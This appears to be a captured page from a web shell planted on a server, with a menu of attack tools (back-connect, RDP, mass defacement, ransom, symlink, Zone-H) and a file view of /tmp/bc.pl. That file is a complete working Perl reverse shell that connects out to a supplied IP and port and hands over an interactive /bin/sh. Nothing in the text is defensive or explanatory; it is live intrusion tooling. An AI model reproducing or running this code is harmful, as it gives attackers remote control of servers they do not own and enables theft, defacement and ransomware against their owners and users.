Path : /tmp/ |
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
Current File : //tmp/bc.pl |
#!/usr/bin/perl use Socket; $iaddr=inet_aton($ARGV[0]) || die("Error: $!\n"); $paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n"); $proto=getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error: $!\n"); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system('/bin/sh -i'); close(STDIN); close(STDOUT); close(STDERR);